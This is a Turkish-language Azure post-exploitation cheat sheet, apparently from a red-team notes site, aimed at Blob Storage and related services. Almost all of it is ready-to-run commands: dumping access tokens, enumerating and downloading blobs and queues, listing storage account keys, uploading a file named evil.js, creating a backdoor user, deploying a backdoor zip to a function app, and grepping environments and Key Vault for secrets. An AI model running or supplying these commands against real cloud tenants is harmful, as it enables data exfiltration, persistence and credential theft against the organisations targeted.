Az - Blob Storage Post Exploitation
Azure post-ex
Az - Blob Storage Post Exploitation — Azure / Entra ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Hedef veriyi / trafiği / compute’u seç.
-
Exfil veya yan etki primitifini çalıştır.
-
İkinci hesap / iç ağ pivotunu dene.
-
Kanıt paketini (çıktı, hash, zaman) kaydet.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
az account showaz ad signed-in-user showaz account get-access-token --query accessToken -o tsv | cut -c1-20Hedef komutlar
Section titled “Hedef komutlar”Az - Blob Storage Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
curl -sI https://ACC.blob.core.windows.net/CON?restype=container&comp=listaz storage share list --account-name ACCaz storage queue list --account-name ACCaz storage message peek --queue-name Q --account-name ACCaz storage account list -o tableaz storage container list --account-name ACC --auth-mode loginaz storage blob list --account-name ACC --container-name CON -o tableaz storage blob download --account-name ACC --container-name CON --name file --file outaz storage account keys list --name ACCaz storage blob upload --account-name ACC --container-name CON --name evil.js --file evil.jsKalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
az ad user create --display-name evil --password 'P@ss' --user-principal-name evil@corp.onmicrosoft.comaz functionapp deployment source config-zip -g RG -n APP --src backdoor.zipaz webapp config appsettings set -g RG -n APP --settings BACKDOOR=1Secret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40az keyvault secret list --vault-name VAULT -o tableRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt